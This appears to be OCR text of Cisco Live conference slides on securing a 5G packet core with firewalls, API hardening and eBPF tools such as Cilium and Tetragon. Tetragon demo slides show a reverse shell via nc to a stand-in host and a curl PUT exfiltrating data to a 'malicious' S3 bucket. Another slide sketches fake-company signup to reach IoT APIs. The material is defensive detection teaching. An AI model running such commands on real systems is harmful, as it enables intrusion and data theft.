> % Secunity-Relsted Cor w-Rule-51-ALLOW PoC FPR4200 @ tis/1/(0303)(c02cc02b | 8% generic dmz process Very High 86%
>  2024-06-24 10:12:22 % Secunity-Related Car w-Rule-21-ALLOW POC FPR4200 @ ts/1/(0303)(c02¢cc02b | 7% generic dmz process Very High 86%
> 2024-06-2410012:21 ‘o Secunity-Relatad Cor w-Rule-#1-ALLOW POC FPR4200 @ tUs/1/(0303)(c02cc02b | 7% genenc dmz process Very High 86%
> 2024-06-2410:1218 % Secunty-Relatec Con w-Rule-#1-ALLOW PCC FPR420 @ tis1/(0203)(c02¢ccl2u | 8% genenc dmz process Very High 86%
> | 2024-06-2410:127 4 Connecton w-Rule-#1-ALLOW POC FPR4200 7% genenc dmz process Very High 86%
> | 2024-06-2410:1215 | ¢ Secunty-Relatec Con w-Rule-#1-ALLOW POC FPR4200 @ tis(1/(0303)(c02cc02b | 7% genenic dmz pr Very High
> 2024-06-2410:12:14 % Security-Related Cor w-Rule-#1-ALLOW PCC FPRA42( @ tis/1/(0303)(c02cc02b | 7% genenc dmz procass Very High )
>  2024-06-2410:1213 % Security-Releted Cons w-Rule-31-ALLOW POC FPR4200 @ tis!1/(0303)(c02cc020 | 7% genenc dmz precess Very High
< WA NE AL AN e Canrein PRtedmik P his Ol 1 ALLORAI N conAon -1y HARAAN TANA TR L T T T \ tme s Llinbs one N v
Lae!
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Encrypted Visibility Engine (EVE) 2.0

Encrypted Visibility Engine (7]

About Encrypted Visibility Engine

This encrypted visibility engine (EVE) uses machine learning to provide insights into the encrypted
sessions without decrypting them. To use this feature, you require a valid IPS license and feature
support is only for Snort 3 devices. Learn more

Recommended Settings b

= Enable automatic updates for future Cisco Vulnerability Database (VDB) releases.
= Enable Cisco Success Network.

Encrypted Visibility Engine (EVE) «©

Use EVE for Application Detection @) < I

Allow EVE to assign client applications to processes.

Inference-based ApplD enrichment. |

EVE Enhanced Analytics @)

Add EVE's fingerprint information in the connection events.

<——| Detailed fingerprint data for third-party use. |

Block Traffic Based on EVE Score «©

@ Customize your threshold for blocking traffic based on the EVE scores.

© Advanced Mode C» — Block

‘ Connection filtering based on malware
Very Low Low Medium High Very High confidence scores.

A

‘ Revert to Defaults [ Cancel ‘ m

c 1 SCO W. BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 48




RAN YU ——— > PaCket Core Internet
NetOps / evOps Netops /

We are here !

Packet Core
Protection Use
Case

cisco L{V&/



5G Core Trust Model

[ Segmentation Policy ]
7y 7} 2
l// ) N TrustLayer3
/ i Trust Layer 2 |
,'" Trust Layer 1 \;
NSSF AUSF PCF UDM NRF AF
Service Based | | | | |
Interface
(HTTP2) NEF AMF SMF SCP SEPP

NSSF: Network Slice Selection Function

AUSF: Authentication Server Function
PCF: Policy Control Function

UDM: Unified Data management
NRF: Network Repository Function

AF: Application Function

AMF: Access and Mobility Function
SMEF: Session Management Function

SCP: Secure Communication Proxy NEF:
Network Exposure Function

SEPP: Secure Edge Protection Proxy

UPF: User Plane Function
vDU: Distributed Unit

vCU: Centralized Unit

Source: 3GPP 1975-sec_5g
© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 50
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5@G: Cloud Native Infrastructure transition

@ Service Orchestrator Kubernetes Orchestrator

boo

[mwm] [mwm] [mmm]

—
=] =] =]

Cloud Native
Function

Virtual Network Virtual Network Virtual Network Virtual Ngtwork Cloud Natwe
Function Function

Function Function Function

—(:1— Virtual Infrastructure Kubernetes
— Manager | Docker

| |
lilililP Baremetal lilililP Baremetal
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How does Virtual Network Function look like?

SMF: Session Management Function P2 AMF: Access and Mobility Management Function
/, ,// \\ \\
7~ s \ S
S~ 7’ \ N
S~ 4 N
S~z \ N
- L7 S~ \ N
N\\ ,/ ~\~‘ \ \\
7“ =< AN
s N -, i - \\~\~.~ S
e e s e 5§ E—— o E—— 8 g, L] --—/-- --—-._.. \.N._.._ L_-' " e W
s -

/ X &~ N /’ \ ~ \
: 1 1 1 | |
. . . .| 1 1 . .
l Network Functlon Specific Micro-services . | Common Micro-services 1 k Operanons:& Management Mlcro—serwces )

1 1 . 1 1 . 1 |
O [ e 2 ol 5 5 e b e— s — ] — -.—..—r..—..—.r—.._/

I | 1 1 1 \

! ! ! ! 1 1

! ! | | 1 1

v A\ \ 4 \ 4

Container Container Container

Container Container

Container

) ©
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Cloud

Native Computing Foundation

Application Definition & Image Build @ Streaming & Mes:

=
2
L [*] - e} k| A 4 B 2 =
EH | e || oo || % [[adSr e it M| HEMEAF-HEHEUNE 2l & 22
E 8 e Buildpacks.io P cloudevents
Al :
z Continuous Integration & Delivery [§ & Database [§ @&

2 o o D) 2 | aw 3}

; gflux ‘7/// 0

- keptn poskinisn.

Scheduling & Orchestratio

Orchestration &
Management

J_\ Istio fici

) EAFAESEENE IPTIIE S- JKNCRE & |lgees| ™= &E ‘GRPC
Coapire
Service Mesh 8 @ ——
o =

) eSS

Provisioning

% Falco

Configuration

Serverless

B e

@K 88 Q-

I "1 CLOUD NATIVE
Source : CNCF Landscape @ LANDSCAPE

BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public
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https://cncf.landscape2.io/

Security Challenges in Service Based Interface

‘ OAUTH on the Service Based Interface?
‘,.

e ‘ mMTLS on the Service Based Interface?

- ‘ API Rate limiting?

Do | see all my images and their
interactions?

(3
‘ Do | have Pod security Measures ? Like RBAC?

c 1 sco L‘V&~/ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 54



Came with b5G: Exposing the core: NEF = 1)

I’ \‘ '/
1 v
1 [

: Enterprise A i Enterprise B !
~ AF |' l AF L ’

II
NEF
NSSE | | SEAF || AUSFl | PCF | | UDM |
| | | | SEPP
NRF | AMF | | SMF | | scpP | | scp |
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Network Exposure Function

-

~,

1 Service APIs 3
E Server from ;
\._(MVNO, MNO, loT service Provider, platform provide_[)i
A
]
Northbound AP|
[}
- :
A 4
L_Network Exposure Function |
|NSSF || SEAFII AUSFl | PCF | | UDM |
I [ |
NRF | AMF | | SMF | | SCP | | SCP |

5G Packet Core

Internet

Rest API

/
i Application developers

i\ Third-Party

» Used for applications like : Smart Factories, Virtual realities, Vehicle tracking and monitoring...

» Provides access to the mobile core for third party services

cisco L{{/&/

BRKSEC-2763
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loT Service Platforms

» The Service APIs portal is a platform where
users can interact with different APIs

» APlIs use Swagger or OpenAPI, which are
tools that make it easy to see and use the
APIs

cisco L{V&/

BRKSEC-2763

SIM

~
B /ovirva/sim st sim a
ISR /evi/v1/sin/status st s statuses a
BN /oviva/singisin ia) smvei a
7 /Japi/v1/sin/{sin_id} Delete a siM a
WS /api/va/sin/dsim_id} Update asim &
ISR /avi/v1/sin/{sin_idl/stats sim Usage and Costs Statist a
ST /opi/v1/sin/isin_id}/stats/daily SiM Usage and Costs Statistics per day &
FIS /api/v1/sin/{sin_id}/event List SiM Events a
B /20 /v1/sim_batch/bic/tbic} Validate f 2 given batch can ba rogisterad by BIC a
WS /api/va/sim batch/bic/{bic} Register a given batch by BIC &
© 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public
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5G_Hacker Plan to Access network exposure services

5G_Hacker has Access  5G_Hacker can perform API
to IOT service platform  operations and probing to
APIs and masquerades
as a target company
while accessing the

5G_hacker platform

activates SIM Card

and validates o

5G_Hacker Receives credentials

SIM cards at a private
(random) address and

find vulnerabilities.

SIM Cards Overview

5G_Hacker registers gains access to | 0= Bs
with a fake company service APIs via email | o e
tax ID and a spoofed = O 0%

email address. Many
providers have weak
verification processes
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5G_hacker got access to Packet Core

( Service APls \‘: Internet
: S(.erver from . E‘ T Rest AP
L._(MVNO, MNO, loT service Provider, platform provider)
A
[}
Northbound AP !
|
:
A 4
L_Network Exposure Function J
|NSSF || SEAFII AUSFl | PCF | | UDM |
| | | SEPP
NRF |AMF| |SMF| |scp| |SCP|
5G Packet Core
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What can 5G_attacker accomplish with such access 7

5G Hacker attack 5G Hacker findings

> Inject Malicious payloads,

strings, characters, files > No OAuth token generation on several

platforms

> Uses Guidelines from OWASP

_ _ > Static API tokens (which don't expire)
web security testing

> Few rate limits for API requests

» Uses REST security cheat > No mTLS within service Based Interface

sheets > No IP ban was observed from the AP

gateway

M2 BURPSUITE

> Verbose error messages

c 1 sco L‘V&~ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 60



User to Kernel space communication

ansiblecontroller@worker02:~/Documents$ strace —-c 1s

% time seconds usecs/call calls errors syscall
User 38.57 0.000712 26 vy mmap
32.56 0.000601 601 1 execve
Space 6.12 0.000113 16 7 read
s Is 5.85 0.000108 13 8 pread64
5.31 0.000098 12 8 mprotect
4.50 0.000083 9 9 openat
1.73 0.000032 3 9 fstat
‘\Qe 1.68 0.000031 31 1 munmap
606 1.35  0.000025 2 1 close
@\,\Q 0.70 0.000013 6 P access
0.38 0.000007 3 2 rt_sigaction
Kemel 0.33 0.000006 3 2 arch_prctl
Space 0.22  0.000004 4 1 set_tid_address
0.22 0.000004 4 1 prlimit64
0.16 0.000003 1 3 brk
0.16 0.000003 3 1 rt_sigprocmask
0.16 0.000003 3 1 set_robust_list
0.00 0.000000 0 2 ioctl
0.00 0.000000 0 2 statfs

=)

.00 . 000000 getdents64

100.00 0.001846 100 5 total

[
(]
N
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Service Mesh

» mTLS and Authentication

> Ingress

> Load Balancing
> Protocol Parsing
> Path-based routing

» L7 traffic management

> Service load balancing East West
> Rules

cisco L{V&/

App App
L';.Q envoy L';.Q envoy
Sidecar Sidecar |
Proxy Proxy
Node App pod 1
[
ebrer | [Csooor | [Jsooer |
tcpl/ip teplip tcpl/ip tcplip
E eeeee t ethen@ E@ ethel@ ethen@
etho veth veth loopback

» Performance Impact

BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 62



eBPF can resolve the equation !

» eBPF is a technology that can run sandboxed
programs in the operating system kernel

. | |
» Enables high performance and low CPU
. read() ae,BPF connect() ae,BPF
overhead infrastructure tools l l
BUT A= T e ]
[ W ¢BPF
» Requires kernel knowledge to build advanced
capa bilities 10 Read HeBPF Send Packet HeBPF
v v

» Most users will leverage existing tools rather
than writing eBPF themselves Attachment points: Kernel functions, userspace functions,
system calls, sockets, packet level...

c 1 sco M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 63



Cloud-Native Security with eBPF: Cilium, Hubble and Tetragon

Service Mesh RESILIENCE AUTHENTICATION TRAFFIC MANAGEMENT Runtime
at = Security

o=@ cilium =

08. cliom Ingress Gateway API — spiffe SN

ENFORCEMENT

Observability METRICS TRACING SERVICE MAP LOGS
8o cilium Q S 0 y 6) s
0.. Hubble SIEM JSON fluentd Grofona Tl
=
Networking ENCRYPTION  LOAD-BALANCING  NETWORK POLICY NETWORKING E
O, C l | i um IPsec Kubernetes DNS L7 IPv4 - IPv6 - Overlay - BGP
8:8 CNI Wireguard DSR = Maglev L3/L4 Egress Gateway - Multi-Cluster flu
Kubernetes Container VM Metal

aws 2 Google Cloud /\ Azure () AlibabaCloud < et vmware

—

c 1 sco L‘V&./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public
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eXpress Data Path

cisco L{V&/

N
Kernel
Network stack
A
J

\

eBPF
program ®

BRKSEC-2763
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Cilium: Reduces performance impact !

[ socket } [ socket } [ socket } [ socket ] [ socket ] socke1]

tep/ip tep/ip tep/ip tep/ip tepl/ip
[ ethernet ] [ ethernet ] [ ethernet } [ ethernet } [ ethernet } j

eth0 veth veth loopback

» Cilium is an open-source project based on eBPF to provide networking and security for
cloud native environments such as Kubernetes clusters

c 1 SCO W. BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 66



apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:

name: sba-rule

ingress:
- fromEndpoints:

Al ahe O O

5g-udm 5g-nrf

cisco M- BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 67



Mutual Authentication with cilium

apiVersion: cilium.io/v2
— kind: CiliumNetworkPolicy

= [ SPIFFE/SPIRE metadata:
X name: mutual-auth-echo
‘ \ spec:
| endpointSelector:
S M matchLabels:
¥ [H \ app: echo
@ o o @ in?‘Fil?érlwdpoir‘lts:

— matchLabels:
00 = “ 00 '
authentication:

mode: "required"

Sauthentication.mutual.spire.install.enabled=true - port: "8080"
Sauthentication.mutual.spire.enabled=true pleiecor s

» SPIFFE is a simple standard for giving unique |Ds to software services so they can securely talk to each other
» SPIRE is a tool that implements SPIFFE, managing those IDs and ensuring secure service interactions

c 1 Sco M. BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 68



Transparent

@ @ W eBPF Encryption W eBPF @ @

S cilium install --version 1.15.5 --set encryption.enabled=true -set encryption.type=ipsec

c 1 sco L‘V&./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 69



Isualize your traffic with hubble

) open5gs

—

bt

Columns v

Source Identity

smf open5gs

webui open5gs

webui open5gs

webui openSgs

nssf open5gs
ueransim-gnb open5gs
ueransim-gnb open5gs
amf opensgs

netshoot default
netshoot default

upf open5gs

mongodb open5gs

mongodb open5gs

Filter by: label key=val, ip=1.1.1.1, dns=google.com, identity=42, pod=frontend

) w

- .

) sawu
. webui

&0 + 3000 - TP

ueransim-gnb

ueransim-gnb

o O + 4997 - e

Destination Identity

nrf openSgs
mongodb open5gs
mongodb open5gs
mongodb openSgs
nrf openSgs
ueransim-gnb open5gs
amf openSgs

nrf openSgs

webui openSgs
webui open5gs

smf open5gs

world 44.240.52.117
world 44.240.52.117

@0 nn

uuw-:

© + BBOS - ue

i

@40 s
0+ 8005 - ure

Destination Port

80
27017
27017
27017

80

4997

m

° @> 80 e

L7 info

BRKSEC-2763

Any verdict Visual

Verdict

forwarded
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Visualize Blocked traffic with hubble
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&} open5gs

Columns v
Source Identity

netshoot default
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v Filter by: label key=va
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Tetragon in Kubernetes: Deep Visibility & Runtime Security 5 &

Namespace Pod Name g
) tenant-jobs > ®®® crawler-c57f9778c-wtchc
AN . .
S @‘ api.twitter.com
N 945 containerd
Container
Runtime 24261 containerd-shim
L @D Jun 17,2020, 2:19PM crawler @3 grrmasjz6jeqy6cc.not-reverse-shell.com
1 node server.js @ s
ns 16 sh -c “nc grrma4jz6jeqy
POd p +5 mins 16 nc grrmas4jz6jeqybe - .
Process Tree elasticsearch.tenant-jobs.svc.cluster.local

—e +5 mins 18 curl http://elasticserach.. 9200 TCP
L—e +5 mins 20 curl -v -X PUT -T result

malicious-bucket.s3.amazonaws.com

80 TCP
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Tetragon in Kubernetes: Deep Visibility & Runtime Security 5 &

Ol |
WV
Tetragon
Namespace Pod Name

) tenant-jobs > ®®® crawler-c57f9778c-wtchc
@ api.twitter.com

1init
443 TCP
) 945 containerd
Container
Runtime 24261 containerd-shim
‘ 5 AR a i 74N\N . .
“—8@D Jun 17, 2020, 2:19PM crawler @) grrmasjz6jeqy6cc.not-reverse-shell.com
1 node server.js @ 2
ns 16 sh -
Pod p +5 mins 16 nc grrmasjz6jeqybe < X
Process Tree elasticsearch.tenant-jobs.svc.cluster.local
—e@ +5 mins 18 curl http isticseracl 9200 TCP
—e +5 mins 20 curl X PUT -T result

malicious-bucket.s3.amazonaws.com

80 TCP
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Tetragon in Kubernetes: Deep Visibility & Runtime Security 5 &

Namespace Pod Name g
) tenant-jobs > ®®® crawler-c57f9778c-wtchc
e @ api.twitter.com
443 TCP
. 945 containerd
Container
Runtime 24261 containerd-shim
L@ Jun17, 2020, 2:19PM crawler @ grrmasjz6jeqy6cc.not-reverse-shell.com
\. 1 node server.js @ e TCH
Reverselb +5 mins 16 sh -c “nc grrmaé4jz6jeqy...
Pod Shell &
5 mi 4jz6jeqy6cc.not... : 7
Process Tree i elasticsearch.tenant-jobs.svc.cluster.local
—e@ +5 mins 18 curl http asticseract 9200 TCP
—e +5 mins 20 curl X PUT -T result

malicious-bucket.s3.amazonaws.com

80 TCP
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Tetragon in Kubernetes: Deep Visibility & Runtime Security 5 &

Namespace Pod Name g
) tenant-jobs > ®®® crawler-c57f9778c-wtchc
. €3 api.twitter.com
443 TCP
N 945 containerd
Container
Runtime 24261 containerd-shim
L @D Jun 17,2020, 2:19PM crawler @ grrma4jz6jeqy6cc.not-reverse-shell.com
»tnode serverjs @ 443 TCP
Reverse p +5 mins 16 sh -c “nc grrmaéjz6jeqy...
Pod Shell &
+5 mins 16 nc grrmaéjz6jeqy6cc.not... . g
Process Tree elasticsearch.tenant-jobs.svc.cluster.local
—e +5 mins 18 curl http icserach.. 9200 TCP

L—e@ +5 mins 20 curl -v -X PUT -T result

malicious-bucket.s3.amazonaws.com

80 TCP
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Tetragon in Kubernetes: Deep Visibility & Runtime Security 5 &

Namespace Pod Name g
) tenant-jobs > ®®® crawler-c57f9778c-wtchc
e @ api.twitter.com
443 TCP
N 945 containerd
Container
Runtime 24261 containerd-shim
L@ Jun17, 2020, 2:19PM crawler @ grrmaé4jz6jeqy6cec.not-reverse-shell.com
\. 1 node server.js @ 443 TCP
Reverselb +5 mins 16 sh -c “nc grrmasjz6jeqy...
Pod Shell &
+5 mins 16 nc grrmaéjz6jeqy6cc.not... . g
Process Tree elasticsearch.tenant-jobs.svc.cluster.local
—e +5 mins 18 curl htty : 9200 TCP
Data L—e +5 mins 20 curl -v -X PUT -T result
Exfiltration

" malicious-bucket.s3.amazonaws.com

80 TCP

c 1 Sco M./ BRKSEC-2763 © 2025 Cisco and/or its affiliates. All rights reserved. Cisco Public 76



Performance metrics exported to Graphana

Requests (avg over time) P95 Duration Requests by Response Code

0.8 req/s
0.6 req/s
0.4 req/s
Median Duration H P90 Duration

0.2 reqg/s

0 rea/s - - . - - -

11:49:00 11:50:00 11:51:00 11:52:00 1:53:00
5 == () == 200 == 201 == 204 404
2.57 me ms
@

Duration quantiles

Duration [s] histogram

177 req

150 ms

z 1
11:49:00 1:50:00 11:51:00 1:52:00 11:53:00
0.0... 0.01 0.0.. 0.05 0.0.. 01 025 05 075 10 25 5.0 75 10.0 +Inf == Median == P80 == P95
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Hypershield
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Hypershield: Benefits of isovalent products & more...

Cisco Security Cloud | Human Language Interface > Single global policy
> Different enforcement
Global Co_ptrol Plane points
................... ' > Kernel level enforcement
e (based on isovalent)
e I 2 A > Autonomous segmentation
Public Cloud Telco Cloud IOT/OT

> Distributed exploit
. . . protection
mem -
| ® aEamEs mamamasm | ©® GaEmimamasmssasm

VE SWITCH / SERVER SWITCH

© Enforcement point
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hat's a wrap!

cisco L{V@/



Get your hands Dirty !

public subnet

mgmt_subnet subnet 10.1.0.0/24

9
fmc

15 13
.10
tside .13 ide . L
inside .15 | outside .15 oulside 13 M W inside.13 inside 10 m outside 10
[\ /| L\
secgw_spoke_1 secgw_hub_1 vm_mobile_c...
Privafe subnet U
backhaul_inside_1_subnet 10.1.4.0/24 igw
L backhaul_outside_subpet 10.43.0/24 mobile_core_subnet 10.1.2.0/24 pdn_subnet 10.1.1.0/24
backhaul_inside_2_subrjet 10.1.5.0/24
16 14
inside .16 W B outside .16 outside .14 Wl W inside .14 iface ens256: .11 iface ens224: .11
18 | [ ] N
RN aa RN au
secgw_spoke_2 secgw_hub_2 vm_pca
A
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Lab Technologies

- Security Gateway

- EVE

- Gl Firewall

N eBPF

- Cloud-Native Security

cisco W‘/

- Secure Firewall

. Tetragon %

- O,
. Cilium 838

cilium

+ Hubble +$%® Hubble
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Key Takeaways

> Deploy Security Gateways whenever possible
> Encrypted traffic on the N6 interface is a security risk

> eBPF makes life easier for segmentation, visibility & enforcement
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BRKSEC-2763

Well.. | should admit
you’re too strong...
white flag..

for now..
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Complete your Session Survey

Before leaving the room please share your feedback on this session!

> If you want to see a new round of this battle !

> It is very important for me personally and ... ... based on previous feedback, |
included new attacks and changed a lot of content
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Webex App

Questions?

Use the Webex app to chat with the speaker
after the session

How

. Find this session in the Cisco Events mobile app

. Click “Join the Discussion”

. Install the Webex app or go directly to the Webex space

. Enter messages/questions in the Webex space

Webex spaces will be moderated

by the speaker until February 28, 2025.

cisco L{{@/

BRKSEC-2763

Architecting Hybrid Multi-Cloud

8:30AM - 10:00AM (GMT+1) | February 7 Almost Full

I' REI;\&AET] w & w

Venue
@ View Location

(@) Join the Discussion

David Jansen
Distinguished Architect - Cisco System.

Cloud continues to be the disruptor, as customers
have been on the cloud journey for several
vears. This session will address architectural




Fill Out Your Session Surveys

_ Participants who fill out a minimum of 4 session
é/ surveys and the overall event survey will get a
unique Cisco Live t-shirt.

(from 11:30 on Thursday, while supplies last)

mobile app or by logging in to the Session Catalog

:@;’3 All surveys can be taken in the Cisco Events
and clicking the ‘Participant Dashboard’

Content Catalog
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Continue \

your education )

Visit the Cisco Showcase
for related demos

Book your one-on-one
Meet the Engineer meeting

Attend the interactive education
with DevNet, Capture the Flag,
and Walk-in Labs

Visit the On-Demand Library
for more sessions at
ciscolive.com/on-demand.

Sessions from this event will be
available from March 3.
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http://www.ciscolive.com/on-demand.html
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